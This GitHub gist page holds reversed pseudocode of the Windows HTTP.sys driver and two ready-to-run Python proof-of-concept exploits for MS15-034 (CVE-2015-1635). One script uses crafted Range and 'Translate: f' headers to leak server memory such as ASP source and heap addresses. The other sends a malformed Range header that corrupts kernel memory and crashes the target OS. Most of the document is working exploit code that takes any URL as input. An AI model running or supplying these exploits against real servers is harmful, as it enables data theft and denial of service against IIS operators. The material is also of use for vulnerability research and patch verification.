Skip to content

Instantly share code, notes, and snippets.

@worawit
Last active July 30, 2021 04:18
Show Gist options
  • Save worawit/54f2e5a7a1a028191f76 to your computer and use it in GitHub Desktop.
Save worawit/54f2e5a7a1a028191f76 to your computer and use it in GitHub Desktop.

Revisions

  1. worawit revised this gist Jun 12, 2015. 1 changed file with 2 additions and 1 deletion.
    3 changes: 2 additions & 1 deletion ms15-034_memcorrupt_poc.py
    Original file line number Diff line number Diff line change
    @@ -26,10 +26,11 @@
    Below is a partial pseudocode of UlpCreateCacheRangeSliceTracker()
    DOWRD i = 0;
    DWORD sliceNo = rangeStart / 65536;
    DWORD sliceEnd = (rangeEnd - 1) / 65536;
    while (sliceNo <= sliceEnd)
    useSlice[sliceNo++] = sliceNo; // Note: useSlice array of DWORD allocated on stack
    useSlice[i++] = sliceNo++; // Note: useSlice array of DWORD allocated on stack
    With the corrupted range, sliceEnd is always 0xffffffff. In this PoC I use
    rangeStart 65538, which is sliceNo 1, so the above loop will start from 1.
  2. worawit created this gist Jun 8, 2015.
    136 changes: 136 additions & 0 deletions http_sys_pseudo.c
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,136 @@
    /*
    Pseudo code in HTTP.sys to understand flow related to MS15-034
    All pseudo code are reversed from vulnerable HTTP.sys on Windows 7 SP1 x86
    For anyone want to know what function are patched.
    Just open patched version and find all functions reference to RtlULongLongAdd().
    */


    /*****************************
    * handling http request
    *****************************/

    // the received request buffers are processed in UlpParseNextRequest().
    NTSTATUS UlpParseNextRequest()
    {
    while (!doneParseHttpRequest) {
    // fetch next request buffer
    // ...

    // parse request text to request struct
    UlParseHttp();
    // Note: UlContentRangeHeaderHandler() convert Range header string to
    // array of HTTP_BYTE_RANGE struct.
    // From RFC Range header value is inclusive range, so range length
    // must be end-start+1.

    // ...
    }

    UlpDeliverHttpRequest();
    }

    NTSTATUS UlpDeliverHttpRequest()
    {
    if (UlCheckCachePreconditions(req) && doSendCachedResponse) {
    UlSendCachedResponse();
    }

    // ...

    if (!doSendCachedResponse || sendCachedResponseFailed) {
    UlDeliverRequestToProcess(); // dispatch HTTP_REQUEST to w3wp.exe process
    }
    }

    char UlCheckCachePreconditions(req)
    {
    req->flags |= 2u;
    if (UlpQueryTranslateHeader(req)) {
    // has 'Translate' header with value 'f' or 'F'
    req->flags &= 0xFFFFFFFD;
    }
    else if (req->hasHdrFileds[HttpHeaderAuthorization]) {
    req->flags &= 0xFFFFFFFD;
    // ...
    }
    else if (!g_UriCacheConfig.uriEnableCache || xxx) {
    req->flags &= 0xFFFFFFFD;
    // ...
    }

    return (req->flags >> 1) & 1;
    }

    /**************************************************************/



    /******************************************
    * handling http response from w3wp.exe
    ******************************************/

    // UlSendHttpResponseIoctl() in HTTP.sys is used to handle HTTP_RESPONSE from w3wp.exe process
    NTSTATUS UlSendHttpResponseIoctl(PIRP Irp, PIO_STACK_LOCATION StackLocation)
    {
    doCacheResponse = 0;
    if (HTTP_RESPONSE->pCachePolicy.Policy) {
    doCacheResponse = (req->flags >> 1) & 1; // this bit is (un)set in UlCheckCachePreconditions()
    }

    // copy and convert HTTP_RESPONSE to internel HTTP.sys response struct
    UlCaptureHttpResponse(&resp);

    if (!doCacheResponse || (UlCacheAndSendResponse(req, resp, ..., &cacheSuccess) >= 0 && !cacheSuccess)) {
    // UlSendHttpResponse() below is safe path for leaking info in user space
    UlSendHttpResponse(req, resp, ...);
    }
    }

    // The UlpBuildSliceRangeMdl() function is called when sending data from cache.
    // Normally, UlSendCachedResponse() and UlCacheAndSendResponse() functions use
    // this function.
    // Note: this path for leaking info is not safe (might crash target OS)
    void UlpBuildSliceRangeMdl(ULONGLONG sliceStart, void *out, PMDL sliceMdl, HTTP_BYTE_RANGE *range)
    {
    PMDL outMdl;
    DWORD sliceSize;
    DWORD sliceOutSize;
    DWORD sliceOffset;

    // find slice offset
    sliceOffset = 0;
    if (range->StartingOffset > sliceStart)
    sliceOffset = range->StartingOffset - sliceStart;

    // find this slice size
    sliceSize = sliceMdl->ByteCount;
    rangeSize = range->Length;
    if (sliceStart + sliceSize > range->StartingOffset + range->Length) {
    // when overflowed, range->StartingOffset + range->Length == 0
    // so sliceSize = -sliceStart;
    // normally, sliceStart is 0
    sliceSize = range->StartingOffset + range->Length - sliceStart;
    }

    // compute the used length
    sliceOutSize = sliceSize - sliceOffset; // when overflowed, sliceOutSize is very large
    // compute the start address
    sliceOutAddr = sliceMdl->StartVa + sliceMdl->ByteOffset + sliceOffset;
    // allocate MDL
    outMdl = IoAllocateMdl(sliceOutAddr, sliceOutSize, 0, 0, 0);
    // ... assign outMdl to out ...
    if (outMdl) {
    // when overflowed, sliceOutSize normally is 0xff??????
    // - number of PFN is 0xff?????? >> 12 = 0x003f???? ~ 1M

    // below IoBuildPartialMdl might crash a OS because the memory address
    // after sliceMdl is invalid.
    // even if IoBuildPartialMdl() returns successfully, PFN array of outMdl
    // might contain invalid PFN.
    // Note: outMdl flag is MDL_SOURCE_IS_NONPAGED_POOL | MDL_PARTIAL
    IoBuildPartialMdl(sliceMdl, outMdl, sliceOutAddr, sliceOutSize);
    }
    }
    86 changes: 86 additions & 0 deletions ms15-034_leakinfo_poc.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,86 @@
    #!/usr/bin/python2

    """
    MS15-034 (CVE-2015-1635) proof of concept to do information leak
    This PoC is safe to run against vulnerable target. No crash the IIS server or OS.
    From the pseudocode, if the request header "Translate: f" is presented, HTTP.sys
    will call UlSendHttpResponse() for sending response. This function does not make
    IIS or OS crashed even Range length is invalid.
    With "Translate: f" header, the HTTP.sys will not cache response, so HTTP.sys uses
    data from user space memory. The result is HTTP.sys will read and send data from
    user space memory until accessing invalid memory address. But sending data use buffer
    about 64KB. If accessing invalid memory address is found before data buffer is full,
    all buffered data is discard. So there is a chance to get nothing or missing some
    trail data in memory chunk.
    Here is what you can get from this PoC
    - leak ASP source code
    - determine the target architecture (32 bit or 64 bit)
    - leak some valid heap address in remote w3wp.exe
    - other static files (useless)
    Other code paths for leaking data are in UlSendCachedResponse() and UlCacheAndSendResponse().
    These 2 functions use UlpBuildSliceRangeMdl() for building chunk. These path
    might crash target OS as explained in psuedocode comment.
    Note: To exploit these paths read (I'm lazy to explain)
    - http://blog.trendmicro.com/trendlabs-security-intelligence/iis-at-risk-an-in-depth-look-into-cve-2015-1635/
    - http://www.securitysift.com/an-analysis-of-ms15-034/
    A 'If-Range:' header might be needed (I cannot remember) if you want code to
    call UlSendCachedResponse().
    """

    import sys
    import urllib2
    import socket

    if len(sys.argv) < 2:
    print('{} url [contentLength]'.format(sys.argv[0]))
    sys.exit(1)

    url = sys.argv[1]


    if len(sys.argv) > 2:
    contentLength = int(sys.argv[2])
    else:
    req = urllib2.Request(url)
    req.get_method = lambda : 'HEAD'
    resp = urllib2.urlopen(req)
    contentLength = int(resp.info()['Content-Length'])
    resp.close()
    print('contentLength: {:d}'.format(contentLength))

    def dump_data(offset, tail_length):
    req = urllib2.Request(url)
    req.add_header('Range', 'bytes={:d}-18446744073709551615'.format(offset))
    req.add_header('Translate', 'f')

    resp = None
    data = ""
    try:
    resp = urllib2.urlopen(req)
    if tail_length > 0:
    resp.read(tail_length)
    while True:
    data += resp.read(1)
    resp.close()
    except socket.error as e:
    if resp is not None:
    resp.close()
    return data

    tail_length = 60000
    offset = contentLength - tail_length
    if offset < 2:
    offset = 2
    tail_length = contentLength - 2

    data = dump_data(offset, tail_length)
    if len(data) > 0:
    print(data)
    74 changes: 74 additions & 0 deletions ms15-034_memcorrupt_poc.py
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,74 @@
    #!/usr/bin/python2

    """
    MS15-034 (CVE-2015-1635) proof of concept to corrupt memory
    Note: I have no idea how to turn this memory corruption into code execution.
    There might be other way to trigger memory corruption but I do not find them.
    This PoC causes the target to crash in UlpCreateCacheRangeSliceTracker().
    Normally, w3wp.exe pass response chunk as file handle or buffer to HTTP.sys.
    g_UriCacheConfig.uriMaxUriBytes in HTTP.sys is maximum size for response body
    to be cached in HTTP.sys. The default value is 256KB.
    When a full content size of request file is more than 256KB and request range
    is less than 256KB, HTTP.sys slice the content to be cache. Each maximum slice
    size is g_UriCacheConfig.uriMaxUriBytes (default value is 64KB).
    Here are condition for HTTP.sys to build range cache with UlpCreateCacheRangeSliceTracker():
    - UlAdjustRangesToContentSize() returned value is <= 256KB
    - UlpGetRangeSliceCount() returned value is <= 256KB/64KB = 4
    - rangeStart must be less than contentSize
    When a full content size of request file is more than 256KB, cache is sliced in to 64KB pieces
    Below is a partial pseudocode of UlpCreateCacheRangeSliceTracker()
    DWORD sliceNo = rangeStart / 65536;
    DWORD sliceEnd = (rangeEnd - 1) / 65536;
    while (sliceNo <= sliceEnd)
    useSlice[sliceNo++] = sliceNo; // Note: useSlice array of DWORD allocated on stack
    With the corrupted range, sliceEnd is always 0xffffffff. In this PoC I use
    rangeStart 65538, which is sliceNo 1, so the above loop will start from 1.
    If you want sliceNo to start with 0x00xxxxxx, you need to find a file size
    2^(24+16) = 2^40 = 1TB on target.
    """

    import socket
    import sys
    import urllib2

    if len(sys.argv) < 2:
    print('{} url [contentLength]'.format(sys.argv[0]))
    sys.exit(1)

    url = sys.argv[1]


    if len(sys.argv) > 2:
    contentLength = int(sys.argv[2])
    else:
    req = urllib2.Request(url)
    req.get_method = lambda : 'HEAD'
    resp = urllib2.urlopen(req)
    contentLength = int(resp.info()['Content-Length'])
    resp.close()
    print('contentLength: {:d}'.format(contentLength))

    if contentLength <= (256*1024):
    print('This PoC requires request target size more than 256KB')
    sys.exit(0)


    req = urllib2.Request(url)
    req.add_header('Range', 'bytes=65538-18446744073709551615,65540-131078,3-4')

    try:
    resp = urllib2.urlopen(req)
    # the remote target should crash now
    resp.close()
    except:
    pass